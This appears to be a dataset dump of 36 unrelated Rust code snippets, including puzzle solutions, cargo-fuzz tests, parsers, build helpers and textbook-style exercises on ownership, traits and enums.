content
stringlengths 12
12.8k
| id
int64 0
359
|
|---|---|
pub fn day09_2(s: String) -> u32{
let mut running_total = 0;
let mut in_garbage = false;
let mut prev_cancel = false;
for c in s.chars(){
if in_garbage {
if c == '>' && !prev_cancel {
in_garbage = false;
prev_cancel = false;
}
else if c == '!' && !prev_cancel {
prev_cancel = true;
}
else if !prev_cancel{
running_total+=1;
}
else {
prev_cancel = false;
}
}
else{
if c == '<' {
in_garbage = true;
prev_cancel = false;
}
}
}
running_total
}
| 0
|
fn float_test() {
assert_eq!(5f32.sqrt() * 5f32.sqrt(), 5.);
assert_eq!((-1.01f64).floor(), -2.0);
assert!((-1. / std::f32::INFINITY).is_sign_negative());
}
| 1
|
const fn null_ble_gatt_chr_def() -> ble_gatt_chr_def {
return ble_gatt_chr_def {
uuid: ptr::null(),
access_cb: None,
arg: (ptr::null_mut()),
descriptors: (ptr::null_mut()),
flags: 0,
min_key_size: 0,
val_handle: (ptr::null_mut()),
};
}
| 2
|
fn criterion_benchmark(c: &mut Criterion) {
let mut group = c.benchmark_group("fyrstikker");
group.sampling_mode(SamplingMode::Flat).sample_size(10);
group.bench_function("fyrstikker 40", |b| {
b.iter(|| fyrstikk_tal_kombinasjonar(40))
});
group.bench_function("fyrstikker 2000", |b| {
b.iter(|| fyrstikk_tal_kombinasjonar(2000))
});
group.finish();
}
| 3
|
fn process_instructions(instructions: &Vec<Instruction>) -> (HashMap<&str, i32>, i32) {
let mut registers: HashMap<&str, i32> = HashMap::new();
let mut max = 0;
for instruction in instructions {
let current = *registers.entry(&instruction.condition.register).or_insert(0);
let condition_satisfied = match instruction.condition.operator {
Operator::LessThan => current < instruction.condition.value,
Operator::LessThanOrEqual => current <= instruction.condition.value,
Operator::GreaterThan => current > instruction.condition.value,
Operator::GreaterThanOrEqual => current >= instruction.condition.value,
Operator::Equal => current == instruction.condition.value,
Operator::NotEqual => current != instruction.condition.value,
};
if !condition_satisfied {
continue;
}
let delta = match instruction.increase {
true => instruction.value,
false => -1 * instruction.value,
};
let entry = registers.entry(&instruction.register).or_insert(0);
*entry += delta;
let new_value = *entry;
if new_value > max {
max = new_value;
}
}
(registers, max)
}
| 4
|
fn default_handler(irqn: i16) {
panic!("Unhandled exception (IRQn = {})", irqn);
}
| 5
|
fn ownership_test() {
let mut v = Vec::new();
for i in 101..106 {
v.push(i.to_string());
}
let fifth = v.pop().unwrap();
assert_eq!(fifth, "105");
let second = v.swap_remove(1);
assert_eq!(second, "102");
let third = std::mem::replace(&mut v[2], "substitute".to_string());
assert_eq!(third, "103");
assert_eq!(v, vec!["101", "104", "substitute"]);
struct Person {
name: Option<String>,
birth: Option<i32>,
};
let mut composers = Vec::new();
composers.push(Person {
name: Some("Palestrina".to_string()),
birth: Some(1525),
});
// let first_name = composers[0].name // error
let first_name = std::mem::replace(&mut composers[0].name, None);
assert_eq!(first_name, Some("Palestrina".to_string()));
assert_eq!(composers[0].name, None);
let birth = composers[0].birth.take();
assert_eq!(birth, Some(1525));
assert_eq!(composers[0].birth, None);
}
| 6
|
fn decode_ppm_image(cursor: &mut Cursor<Vec<u8>>) -> Result<Image, Box<std::error::Error>> {
let mut image = Image {
width : 0,
height: 0,
pixels: vec![]
};
// read header
let mut c: [u8; 2] = [0; 2];
cursor.read(&mut c)?;
match &c {
b"P6" => { },
_ => { bail!("error") }
}
let w = read_num(cursor)?;
let h = read_num(cursor)?;
let cr = read_num(cursor)?;
print!("width: {}, height: {}, color range: {}\n", w, h, cr);
// TODO: Parse the image here
let mut pxls:Vec<Vec<Pixel>> = vec![];
let mut buff: [u8; 1] = [0];
loop{
cursor.read(&mut buff)?;
match &buff {
b" " | b"\t" | b"\n" => {},
_ => { cursor.seek(std::io::SeekFrom::Current(-1)); break; }
};
};
for x in 0..h {
let mut row: Vec<Pixel> = vec!();
for y in 0..w {
let mut mv: Vec<u8> = vec![];
for mut z in 0..3 {
mv.push(cursor.read_u8()?);
}
let px = Pixel {
R: mv[0] as u32,
G: mv[1] as u32,
B: mv[2] as u32
};
row.push(px);
}
pxls.insert(0, row);
}
image = Image {
width : w,
height: h,
pixels: pxls
};
Ok(image)
}
| 7
|
fn rc_test() {
use std::rc::Rc;
let s: Rc<String> = Rc::new("shirataki".to_string());
let t: Rc<String> = s.clone();
let u: Rc<String> = s.clone();
assert!(s.contains("shira"));
assert_eq!(t.find("taki"), Some(5));
println!("{} are quite chewy, almost bouncy, but lack flavor", u);
// s.push_str(" noodles"); // error
}
| 8
|
fn run_a_few_inputs() {
let corpus = Path::new("fuzz").join("corpus").join("run_few");
let project = project("run_a_few_inputs")
.with_fuzz()
.fuzz_target(
"run_few",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
assert!(data.len() != 4);
});
"#,
)
.file(corpus.join("pass-0"), "")
.file(corpus.join("pass-1"), "1")
.file(corpus.join("pass-2"), "12")
.file(corpus.join("pass-3"), "123")
.file(corpus.join("fail"), "fail")
.build();
project
.cargo_fuzz()
.arg("run")
.arg("run_few")
.arg(corpus.join("pass-0"))
.arg(corpus.join("pass-1"))
.arg(corpus.join("pass-2"))
.arg(corpus.join("pass-3"))
.assert()
.stderr(
predicate::str::contains("Running 4 inputs 1 time(s) each.").and(
predicate::str::contains("Running: fuzz/corpus/run_few/pass"),
),
)
.success();
}
| 9
|
fn get_disjoint<T>(ts: &mut [T], a: usize, b: usize) -> (&mut T, &mut T) {
assert!(a != b, "a ({}) and b ({}) must be disjoint", a, b);
assert!(a < ts.len(), "a ({}) is out of bounds", a);
assert!(b < ts.len(), "b ({}) is out of bounds", b);
if a < b {
let (al, bl) = ts.split_at_mut(b);
(&mut al[a], &mut bl[0])
} else {
let (bl, al) = ts.split_at_mut(a);
(&mut al[0], &mut bl[b])
}
}
| 10
|
fn is_aligned(value: usize, alignment: usize) -> bool {
(value & (alignment - 1)) == 0
}
| 11
|
pub fn acrn_remove_dir(path: &str) -> Result<(), String> {
fs::remove_dir_all(path).map_err(|e| e.to_string())
}
| 12
|
fn debug_check_layout(layout: Layout) {
debug_assert!(layout.size() <= LARGEST_POWER_OF_TWO);
debug_assert!(layout.size() > 0);
}
| 13
|
fn mailmap_from_repo(repo: &git2::Repository) -> Result<Mailmap, Box<dyn std::error::Error>> {
let file = String::from_utf8(
repo.revparse_single("master")?
.peel_to_commit()?
.tree()?
.get_name(".mailmap")
.unwrap()
.to_object(&repo)?
.peel_to_blob()?
.content()
.into(),
)?;
Mailmap::from_string(file)
}
| 14
|
fn
checked_memory_handle
(
)
-
>
Result
<
Connection
>
{
let
db
=
Connection
:
:
open_in_memory
(
)
?
;
db
.
execute_batch
(
"
CREATE
TABLE
foo
(
b
BLOB
t
TEXT
i
INTEGER
f
FLOAT
n
)
"
)
?
;
Ok
(
db
)
}
| 15
|
fn init_finds_parent_project() {
let project = project("init_finds_parent_project").build();
project
.cargo_fuzz()
.current_dir(project.root().join("src"))
.arg("init")
.assert()
.success();
assert!(project.fuzz_dir().is_dir());
assert!(project.fuzz_cargo_toml().is_file());
assert!(project.fuzz_targets_dir().is_dir());
assert!(project.fuzz_target_path("fuzz_target_1").is_file());
}
| 16
|
pub fn debug_format(input: String) -> String {
if input.len() <= 20 {
return input;
}
input
.chars()
.take(8)
.chain("...".chars())
.chain(input.chars().skip(input.len() - 8))
.collect()
}
| 17
|
fn into_rdf(body: &[u8], content_type: &str) -> Result<Graph, Berr> {
fn parse<P>(p: P) -> Result<Graph, Berr>
where
P: TriplesParser,
<P as TriplesParser>::Error: 'static,
{
p.into_iter(|t| -> Result<_, Berr> { Ok(triple(t)?) })
.collect::<Result<Vec<om::Triple>, Berr>>()?
.into_iter()
.pipe(Graph::new)
.pipe(Ok)
}
match content_type {
"text/turtle; charset=utf-8" => parse(TurtleParser::new(Cursor::new(body), None)),
_ => Err("unknown content-type".into()),
}
}
| 18
|
fn print_nodes(prefix: &str, nodes: &[IRNode]) {
for node in nodes.iter() {
print_node(prefix, node);
}
}
| 19
|
pub fn write_board(board_name: String, contents: String) -> Result<(), String> {
let mut configurator = Configurator::new();
unsafe {
configurator.set_working_folder(WORKING_FOLDER.clone());
}
configurator.write_board(board_name, contents)
}
| 20
|
fn tokenize_line(line: &str) -> Result<Command, CueError> {
let mut chars = line.trim().chars();
let command = next_token(&mut chars);
let command = if command.is_empty() {
None
} else {
Some(command)
};
match command {
Some(c) => match c.to_uppercase().as_ref() {
"REM" => {
let key = next_token(&mut chars);
let val = next_string(&mut chars, "missing REM value")?;
Ok(Command::Rem(key, val))
}
"CATALOG" => {
let val = next_string(&mut chars, "missing CATALOG value")?;
Ok(Command::Catalog(val))
}
"CDTEXTFILE" => {
let val = next_string(&mut chars, "missing CDTEXTFILE value")?;
Ok(Command::CdTextFile(val))
}
"TITLE" => {
let val = next_string(&mut chars, "missing TITLE value")?;
Ok(Command::Title(val))
}
"FILE" => {
let path = next_string(&mut chars, "missing path for FILE")?;
let format = next_token(&mut chars);
Ok(Command::File(path, format))
}
"FLAGS" => {
let flags = next_values(&mut chars);
Ok(Command::Flags(flags))
}
"ISRC" => {
let val = next_token(&mut chars);
Ok(Command::Isrc(val))
}
"PERFORMER" => {
let val = next_string(&mut chars, "missing PERFORMER value")?;
Ok(Command::Performer(val))
}
"SONGWRITER" => {
let val = next_string(&mut chars, "missing SONGWRITER value")?;
Ok(Command::Songwriter(val))
}
"TRACK" => {
let val = next_token(&mut chars);
let mode = next_token(&mut chars);
Ok(Command::Track(val, mode))
}
"PREGAP" => {
let val = next_token(&mut chars);
Ok(Command::Pregap(val))
}
"POSTGAP" => {
let val = next_token(&mut chars);
Ok(Command::Postgap(val))
}
"INDEX" => {
let val = next_token(&mut chars);
let time = next_token(&mut chars);
Ok(Command::Index(val, time))
}
_ => {
let rest: String = chars.collect();
if rest.is_empty() {
Ok(Command::None)
} else {
Ok(Command::Unknown(line.to_string()))
}
}
},
_ => Ok(Command::None),
}
}
| 21
|
fn main() {
std::process::Command::new("packfolder.exe").args(&["src/frontend", "dupa.rc", "-binary"])
.output().expect("no i ciul");
}
| 22
|
pub(crate) fn ident<'a, E>(i: &'a str) -> nom::IResult<&'a str, Ident, E>
where
E: ParseError<&'a str>,
{
let mut chars = i.chars();
if let Some(f) = chars.next() {
if f.is_alphabetic() || f == '_' {
let mut idx = 1;
for c in chars {
if !(c.is_alphanumeric() || c == '_') {
break;
}
idx += 1;
}
let id = &i[..idx];
if is_reserved(id) {
Err(nom::Err::Error(E::from_error_kind(i, ErrorKind::Satisfy)))
} else {
Ok((&i[idx..], Ident::from_str_unchecked(id)))
}
} else {
Err(nom::Err::Error(E::from_error_kind(i, ErrorKind::Satisfy)))
}
} else {
Err(nom::Err::Error(E::from_error_kind(i, ErrorKind::Eof)))
}
}
| 23
|
pub fn test_contains_ckbforks_section() {
let buffer = fs::read("tests/programs/ckbforks").unwrap();
let ckbforks_exists_v0 = || -> bool {
let elf = goblin_v023::elf::Elf::parse(&buffer).unwrap();
for section_header in &elf.section_headers {
if let Some(Ok(r)) = elf.shdr_strtab.get(section_header.sh_name) {
if r == ".ckb.forks" {
return true;
}
}
}
return false;
}();
let ckbforks_exists_v1 = || -> bool {
let elf = goblin_v040::elf::Elf::parse(&buffer).unwrap();
for section_header in &elf.section_headers {
if let Some(Ok(r)) = elf.shdr_strtab.get(section_header.sh_name) {
if r == ".ckb.forks" {
return true;
}
}
}
return false;
}();
assert_eq!(ckbforks_exists_v0, true);
assert_eq!(ckbforks_exists_v1, true);
}
| 24
|
fn trait_test() {
{
use std::io::Write;
fn say_hello(out: &mut Write) -> std::io::Result<()> {
out.write_all(b"hello world\n")?;
out.flush()
}
// use std::fs::File;
// let mut local_file = File::create("hello.txt");
// say_hello(&mut local_file).expect("error"); // could not work, now
let mut bytes = vec![];
say_hello(&mut bytes).expect("error"); // works
assert_eq!(bytes, b"hello world\n");
// 11.1
let mut buf: Vec<u8> = vec![];
buf.write_all(b"hello").expect("error");
}
// 11.1.1
{
use std::io::Write;
let mut buf: Vec<u8> = vec![];
// let writer: Write = buf; // error: `Write` does not have a constant size
let writer: &mut Write = &mut buf; // ok
writer.write_all(b"hello").expect("error");
assert_eq!(buf, b"hello");
}
// 11.1.3
{
use std::io::Write;
fn say_hello<W: Write>(out: &mut W) -> std::io::Result<()> {
out.write_all(b"hello world\n")?;
out.flush()
}
let mut buf: Vec<u8> = vec![];
buf.write_all(b"hello").expect("error");
buf::<Vec>.write_all(b"hello").expect("error");
// let v1 = (0 .. 1000).collect(); // error: can't infer type
let v2 = (0..1000).collect::<Vec<i32>>(); // ok
// /// Run a query on large, partitioned data set.
// /// See <http://research.google.com/archive/mapreduce.html>.
// fn run_query<M: Mapper + Serialize, R: Reducer + Serialize>(data: &dataSet, map: M, reduce: R) -> Results {
// }
//
// fun run_query<M, R>(data: &Dataset, map: M, reduce: R) -> Results
// where M: Mapper + Serialize,
// R: Reducer + Serialize
// {}
// fn nearest<'t, 'c, P>(target: &'t P, candidates: &'c [P]) -> &'c P
// where P: MeasureDistance
// {}
//
// impl PancakeStack {
// fn Push<:T Topping>(&mut self, goop: T) - PancakeResult<()> {
// }
// }
// type PancakeResult<T> = Result<T, PancakeError>;
}
{
// struct Broom {
// name: String,
// height: u32,
// health: u32,
// position: (f32, f32, f32),
// intent: BroomIntent,
// }
// impl Broom {
// fn boomstick_range(&self) -> Range<i32> {
// self.y - self.height - 1 .. self.y
// }
// }
// trait Visible {
// fn draw(&self, canvas: &mut Canvas);
// fn hit_test(&self, x: i32, y: i32) -> bool;
// }
// impl Visible for Broom {
// fn draw(&self, canvas: &mut Canvas) {
// //for y in self.y - self.height - 1 .. self.y {
// for y in self.broomstick_range() {
// canvas.write_at(self.x, y, '|');
// }
// canvas.write_at(self.x, y, 'M');
// }
// }
// fn hit_test(&self, x: i32, y:i32) -> bool {
// self.x == x
// && self.y - self.height - 1 <= y
// && y <- self.y
// }
}
{
// 11.2.1
/// A writer that ignores whatever data you write to it.
pub struct Sink;
use std::io::{Result, Write};
impl Write for Sink {
fn write(&mut self, buf: &[u8]) -> Result<usize> {
Ok(buf.len())
}
fn flush(&mut self) -> Result<()> {
Ok(())
}
}
}
{
// 11.2.2
trait IsEmoji {
fn is_emoji(&self) -> bool;
}
impl IsEmoji for char {
fn is_emoji(&self) -> bool {
return false;
}
}
assert_eq!('$'.is_emoji(), false);
use std::io::{self, Write};
struct HtmlDocument;
trait WriteHtml {
fn write_html(&mut self, html: &HtmlDocument) -> std::io::Result<()>;
}
impl<W: Write> WriteHtml for W {
fn write_html(&mut self, html: &HtmlDocument) -> io::Result<()> {
Ok(())
}
}
extern crate serde;
use serde::Serialize;
use serde_json;
use std::collections::HashMap;
use std::fs::File;
pub fn save_configuration(config: &HashMap<String, String>) -> std::io::Result<()> {
let writer = File::create("test.json").expect("error");
let mut serializer = serde_json::Serializer::new(writer);
config.serialize(&mut serializer).expect("error");
Ok(())
}
{
// 11.2.3
}
}
}
| 25
|
fn build_package(
current_dir: &Path,
installed_dir: &Path,
configure_opts: &[String],
) -> Result<(), FrumError> {
debug!("./configure {}", configure_opts.join(" "));
let mut command = Command::new("sh");
command
.arg("configure")
.arg(format!("--prefix={}", installed_dir.to_str().unwrap()))
.args(configure_opts);
// Provide a default value for --with-openssl-dir
if !configure_opts
.iter()
.any(|opt| opt.starts_with("--with-openssl-dir"))
{
command.arg(format!("--with-openssl-dir={}", openssl_dir()?));
}
let configure = command
.current_dir(¤t_dir)
.output()
.map_err(FrumError::IoError)?;
if !configure.status.success() {
return Err(FrumError::CantBuildRuby {
stderr: format!(
"configure failed: {}",
String::from_utf8_lossy(&configure.stderr).to_string()
),
});
};
debug!("make -j {}", num_cpus::get().to_string());
let make = Command::new("make")
.arg("-j")
.arg(num_cpus::get().to_string())
.current_dir(¤t_dir)
.output()
.map_err(FrumError::IoError)?;
if !make.status.success() {
return Err(FrumError::CantBuildRuby {
stderr: format!(
"make failed: {}",
String::from_utf8_lossy(&make.stderr).to_string()
),
});
};
debug!("make install");
let make_install = Command::new("make")
.arg("install")
.current_dir(¤t_dir)
.output()
.map_err(FrumError::IoError)?;
if !make_install.status.success() {
return Err(FrumError::CantBuildRuby {
stderr: format!(
"make install: {}",
String::from_utf8_lossy(&make_install.stderr).to_string()
),
});
};
Ok(())
}
| 26
|
fn parse_peers_str(peers_str: &str) -> AppResult<Vec<Peer>> {
let peers_str: Vec<&str> = peers_str.split(",").collect();
let peers: Vec<Peer> = peers_str
.into_iter()
.map(|it| {
let peer = it.parse();
peer.unwrap()
})
.collect();
Ok(peers)
}
| 27
|
fn tmin() {
let corpus = Path::new("fuzz").join("corpus").join("i_hate_zed");
let test_case = corpus.join("test-case");
let project = project("tmin")
.with_fuzz()
.fuzz_target(
"i_hate_zed",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
let s = String::from_utf8_lossy(data);
if s.contains('z') {
panic!("nooooooooo");
}
});
"#,
)
.file(&test_case, "pack my box with five dozen liquor jugs")
.build();
let test_case = project.root().join(test_case);
project
.cargo_fuzz()
.arg("tmin")
.arg("i_hate_zed")
.arg("--sanitizer=none")
.arg(&test_case)
.assert()
.stderr(
predicates::str::contains("CRASH_MIN: minimizing crash input: ")
.and(predicate::str::contains("(1 bytes) caused a crash"))
.and(predicate::str::contains(
"ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n\
\n\
Minimized artifact:\n\
\n\
\tfuzz/artifacts/i_hate_zed/minimized-from-"))
.and(predicate::str::contains(
"Reproduce with:\n\
\n\
\tcargo fuzz run --sanitizer=none i_hate_zed fuzz/artifacts/i_hate_zed/minimized-from-"
)),
)
.success();
}
| 28
|
fn pool() -> &'static Pool<ConnectionManager<PgConnection>> {
POOL.get_or_init(|| {
dotenv().ok();
let database_url = env::var("DATABASE_URL").expect("DATABASE_URL must be set");
let manager = ConnectionManager::<PgConnection>::new(database_url);
Pool::builder()
.max_size(*pool_connection_number() as u32)
.build(manager)
.unwrap()
})
}
| 29
|
fn debg(t: impl Debug) -> String {
format!("{:?}", t)
}
| 30
|
fn set_privilege(handle: HANDLE, name: &str) -> Result<(), std::io::Error> {
let mut luid: LUID = LUID {
LowPart: 0,
HighPart: 0,
};
let name: U16CString = name.try_into().unwrap();
let r = unsafe {LookupPrivilegeValueW(std::ptr::null(),name.as_ptr(), &mut luid )};
if r == 0 {
return Err(std::io::Error::last_os_error());
}
let mut privilege = TOKEN_PRIVILEGES{
PrivilegeCount: 1,
Privileges: [LUID_AND_ATTRIBUTES {Luid: luid, Attributes: SE_PRIVILEGE_ENABLED}],
};
let r = unsafe {
AdjustTokenPrivileges(handle, false as i32, &mut privilege, std::mem::size_of::<TOKEN_PRIVILEGES>() as u32, std::ptr::null_mut(), std::ptr::null_mut())
};
if r == 0 {
return Err(std::io::Error::last_os_error());
}
Ok(())
}
| 31
|
fn project_with_fuzz_dir(
project_name: &str,
fuzz_dir_opt: Option<&str>,
) -> (String, ProjectBuilder) {
let fuzz_dir = fuzz_dir_opt.unwrap_or("custom_dir");
let next_root = next_root();
let fuzz_dir_pb = next_root.join(fuzz_dir);
let fuzz_dir_sting = fuzz_dir_pb.display().to_string();
let pb = project_with_params(project_name, next_root, fuzz_dir_pb);
(fuzz_dir_sting, pb)
}
| 32
|
pub async fn render_window_wasm(subaction: brawllib_rs::high_level_fighter::HighLevelSubaction) {
use brawllib_rs::renderer::app::state::{AppEventIncoming, State};
use brawllib_rs::renderer::app::App;
use wasm_bindgen::prelude::*;
use web_sys::HtmlElement;
let document = web_sys::window().unwrap().document().unwrap();
let body = document.body().unwrap();
let parent_div = document.create_element("div").unwrap();
parent_div
.dyn_ref::<HtmlElement>()
.unwrap()
.style()
.set_css_text("margin: auto; width: 80%; aspect-ratio: 4 / 2; background-color: black");
body.append_child(&parent_div).unwrap();
let app = App::new_insert_into_element(parent_div, subaction).await;
let event_tx = app.get_event_tx();
let frame = document.create_element("p").unwrap();
frame.set_inner_html("Frame: 0");
body.append_child(&frame).unwrap();
let button = document.create_element("button").unwrap();
body.append_child(&button).unwrap();
let button_move = button.clone();
button_move.set_inner_html("Run");
let event_tx_move = event_tx.clone();
let do_thing = Closure::wrap(Box::new(move || {
if button_move.inner_html() == "Stop" {
event_tx_move
.send(AppEventIncoming::SetState(State::Pause))
.unwrap();
button_move.set_inner_html("Run");
} else {
event_tx_move
.send(AppEventIncoming::SetState(State::Play))
.unwrap();
button_move.set_inner_html("Stop");
}
}) as Box<dyn FnMut()>);
button
.dyn_ref::<HtmlElement>()
.unwrap()
.set_onclick(Some(do_thing.as_ref().unchecked_ref()));
let button = document.create_element("button").unwrap();
body.append_child(&button).unwrap();
let button_move = button.clone();
button_move.set_inner_html("Perspective");
let do_thing = Closure::wrap(Box::new(move || {
if button_move.inner_html() == "Orthographic" {
event_tx
.send(AppEventIncoming::SetPerspective(false))
.unwrap();
button_move.set_inner_html("Perspective");
} else {
event_tx
.send(AppEventIncoming::SetPerspective(true))
.unwrap();
button_move.set_inner_html("Orthographic");
}
}) as Box<dyn FnMut()>);
button
.dyn_ref::<HtmlElement>()
.unwrap()
.set_onclick(Some(do_thing.as_ref().unchecked_ref()));
app.get_event_tx()
.send(AppEventIncoming::SetState(State::Pause))
.unwrap();
app.run();
}
| 33
|
pub fn channel_take_raw(target: CAddr) -> u64 {
let result = channel_take_nonpayload(target);
match result {
ChannelMessage::Raw(v) => return v,
_ => panic!(),
};
}
| 34
|
fn enum_test() {
// enum Ordering {
// Less,
// Equal,
// Greater / 2.0
// }
use std::cmp::Ordering;
fn compare(n: i32, m: i32) -> Ordering {
if n < m {
Ordering::Less
} else if n > m {
Ordering::Greater
} else {
Ordering::Equal
}
}
// use std::cmp::Ordering::*;
// fn compare(n: i32, m: i32) -> Ordering {
// if n < m {
// Less
// } else if n > m {
// Greater
// } else {
// Equal
// }
// }
// enum Pet {
// Orca,
// Giraffe,
// }
// use self::Pet::*;
#[derive(Debug, PartialEq)]
enum HttpStatus {
Ok = 200,
NotModified = 304,
NotFound = 404,
}
use std::mem::size_of;
assert_eq!(size_of::<Ordering>(), 1);
assert_eq!(size_of::<HttpStatus>(), 2); // 404 doesn't fit in a u8
assert_eq!(HttpStatus::Ok as i32, 200);
fn http_status_from_u32(n: u32) -> Option<HttpStatus> {
match n {
200 => Some(HttpStatus::Ok),
304 => Some(HttpStatus::NotModified),
404 => Some(HttpStatus::NotFound),
_ => None,
}
}
let status = http_status_from_u32(404).unwrap();
// assert_eq!(status as i32, 404);
assert_eq!(status, HttpStatus::NotFound);
#[derive(Copy, Clone, Debug, PartialEq)]
enum TimeUnit {
Seconds,
Minutes,
Hours,
Days,
Months,
Years,
}
impl TimeUnit {
/// Return the plural noun for this time unit.
fn plural(self) -> &'static str {
match self {
TimeUnit::Seconds => "seconds",
TimeUnit::Minutes => "minutes",
TimeUnit::Hours => "hours",
TimeUnit::Days => "days",
TimeUnit::Months => "months",
TimeUnit::Years => "years",
}
}
/// Return the singular noun for this time unit.
fn singular(self) -> &'static str {
self.plural().trim_right_matches('s')
}
}
/// A timestamp that has been deliberately rounded off, so our program
/// says "6 monthes ago" instead of "February 9, 2016, at 9:49 AM".
#[derive(Copy, Clone, Debug, PartialEq)]
enum RoughTime {
InThePast(TimeUnit, u32),
JustNow,
InTheFuture(TimeUnit, u32),
}
let four_score_and_seven_years_ago = RoughTime::InThePast(TimeUnit::Years, 4 * 20 + 7);
let three_hours_from_now = RoughTime::InTheFuture(TimeUnit::Hours, 3);
struct Point3d(u32, u32, u32);
enum Shape {
Sphere { center: Point3d, radius: f32 },
Cubold { corner1: Point3d, corner2: Point3d },
}
let unit_sphere = Shape::Sphere {
center: Point3d(0, 0, 0),
radius: 1.0,
};
// enum RelationshipStatus {
// Single,
// InARelationship,
// ItsComplicated(Option<String>),
// ItsExtremelyComplicated {
// car: DifferentialEquation,
// cdr: EarlyModernistPoem
// }
// }
//
use std::collections::HashMap;
enum Json {
Null,
Boolean(bool),
Number(f64),
String(String),
Array(Vec<Json>),
Object(Box<HashMap<String, Json>>),
}
// An ordered collection of `T`s
enum BinaryTree<T> {
Empty,
NonEmpty(Box<TreeNode<T>>),
}
// A part of a BinaryTree.
struct TreeNode<T> {
element: T,
left: BinaryTree<T>,
right: BinaryTree<T>,
}
let jupiter_tree = BinaryTree::NonEmpty(Box::new(TreeNode {
element: "Jupiter",
left: BinaryTree::Empty,
right: BinaryTree::Empty,
}));
let mercury_tree = BinaryTree::NonEmpty(Box::new(TreeNode {
element: "Mercury",
left: BinaryTree::Empty,
right: BinaryTree::Empty,
}));
let uranus_tree = BinaryTree::NonEmpty(Box::new(TreeNode {
element: "Uranus",
left: BinaryTree::Empty,
right: BinaryTree::Empty,
}));
let mars_tree = BinaryTree::NonEmpty(Box::new(TreeNode {
element: "Mars",
left: jupiter_tree,
right: mercury_tree,
}));
let tree = BinaryTree::NonEmpty(Box::new(TreeNode {
element: "Saturn",
left: mars_tree,
right: uranus_tree,
}));
// let mut tree = BinaryTree::Empty;
// for planet in planets {
// tree.add(planet);
// }
// 10.2
fn rough_time_to_english(rt: RoughTime) -> String {
match rt {
RoughTime::InThePast(units, count) => format!("{}, {} ago", count, units.plural()),
RoughTime::JustNow => format!("just now"),
RoughTime::InTheFuture(units, 1) => format!("a {} from now", units.plural()),
RoughTime::InTheFuture(units, count) => {
format!("{}, {} from now", count, units.plural())
}
}
}
rough_time_to_english(four_score_and_seven_years_ago);
// 10.2.1
// match meadow.count_rabbits() {
// 0 => {} // nothing to say
// 1 => println!("A rabbit is nosing around inthe clover."),
// n => println!("There are {} rabbits hopping about in the meadow", n)
// }
//
// let calendar =
// match settings.get_string("calendar") {
// "gregorian" => Calendar::Gregorian,
// "chinese" => Calendar::Chinese,
// "ethiopian" => Calendar::Ethiopian,
// other => return parse_error("calendar", other)
// };
// let caption =
// match photo.tagged_pet() {
// Pet::Tyrannosaur => "RRRRAAAAAHHHHH",
// Pet::Samoyed => "*dog thoughts*",
// _ => "I'm cute, love me" // generic caption, works for any pet
// }
// // there are many Shapes, but we only support "selecting"
// // either some text, or everything in a rectangular area.
// // You can't select an ellipse or trapezoid.
// match document.selection() {
// Shape::TextSpan(start, end) => paint_text_selection(start, end),
// Shape::Rectangle(rect) => paint_rect_selection(rect),
// _ => panic!("unexpected selection type")
// }
//
// fn check_move(current_hex: Hex, click: Point) -> game::Result<Hex> {
// match point_to_hex(click) {
// None =>
// Err("That's not a game space."),
// Some(current_hex) => // try to match if user clicked the current_hex
// // (if doesn't work)
// Err("You are already there! You must click somewhere else."),
// Some(other_hex) =>
// Ok(other_hex)
// }
// }
//
// fn check_move(current_hex: Hex, click: Point) -> game::Result<Hex> {
// match point_to_hex(click) {
// None =>
// Err("That's not a game space."),
// Some(hex) =>
// if hex == current_hex {
// Err("You are already there! You must click somewhere else."),
// } else {
// Ok(hex)
// }
// Some(other_hex) =>
// Ok(other_hex)
// }
// }
//
// fn describe_point(x: i32, y: i32) -> &'static str {
// use std::cmp::Ordering::*;
// match (x.cmp(&0), y.cmp(&0) {
// (Equal, Equal) -> "at the origin",
// (_, Equal) => "on the x axis",
// (Equal, _) => "on the y axis",
// (Greater, Greater) => "in the first quadrant",
// (Less, Grater) => "in the second quadrant",
// _ => "somewhere else"
// }
// }
//
// match balloon.location {
// Point { x: 0, y: height } =>
// println!("straight up {} meters", height),
// Point { x: x, y: y } =>
// println!("at ({}m, {}m)", x, y);
// }
//
// match get_acount(id) {
// Some(Account { name, language, .. {) =>
// language.show_custom_greeting(name)
// }
//
// 10.2.3
//
// match account {
// Account { name, language, .. } => {
// ui.greet(&name, &language);
// ui.show_settigs(&account); // error: use of moved value `account`
// }
// }
// match account {
// Account { ref name, ref language, .. } => {
// ui.greet(name, language);
// ui.show_settings(&account); // ok
// }
// }
//
// match line_result {
// Err(ref err) => log_error(err), // `err` is &Error (shared ref)
// Ok(ref mut line) -> { // `line` is &mut String (mut ref)
// trim_comments(line); // modify the String in place
// handle(line);
// }
// }
//
// match sphere.center() {
// &Point3d { x, y, z } => ...
// }
//
// match friend.borrow_car() {
// Some(&Car { engine, .. }) => // error: can't move out of borrow
// ...
// None -> {}
// }
//
// Some(&Car {ref engine, .. }) => // ok, engine is a reference
//
// match chars.peek() {
// Some(&c) -> println!("coming up: {:?}", c),
// None =-> println!("end of chars")
// }
//
// 10.2.4
//
// let at_end =
// match chars.peek() {
// Some(&'\r') | Some(&'\n') | None => true,
// _ => false
// };
// match next_char {
// '0' ... '9' =>
// self.read_number(),
// 'a' ... 'z' | 'A' ... 'Z' =>
// self.read_word(),
// ' ' | '\t' | '\n' =>
// self.skip_whitespace(),
// _ =>
// self.handle_punctuation()
// }
//
// 10.2.5
//
// match robot.last_known_location() {
// Some(point) if self.distance_to(point) < 10 =>
// short_distance_strategy(point),
// Some(point) ->
// long_distance_strategy(point),
// None ->
// searching_strategy()
// }
//
// 10.2.6
//
// match self.get_selection() {
// Shape::Rect(top_left, bottom_right) ->
// optimized_paint(&Shape::Rect(top_left, bottom_right)),
// other_shape =>
// paint_outline(other_shape.get_outline()),
// }
//
// rect @ Shape::Rect(..) -> optimized_paint(&rect)
//
// match chars.next() {
// Some(digit @ '0' ... '9') => read_number(disit, chars),
// }
//
// 10.2.7
//
// // ...unpack a struct into three new local variables
// let Track { album, track_number, title, ..} = song;
//
// // ...unpack a function argument that's a tuple
// fn distance_to((x,y): (f64, f64)) -> f64 { ... }
//
// // ...iterate over keys and values of a HashMap
// for (id, document) in &cache_map {
// println!("Document #{}: {}", id, document.title);
// }
//
// // ...automatically dereference an argument to a closure
// // (handy because sometimes other code passes you a reference
// // when you'd rather have a copy)
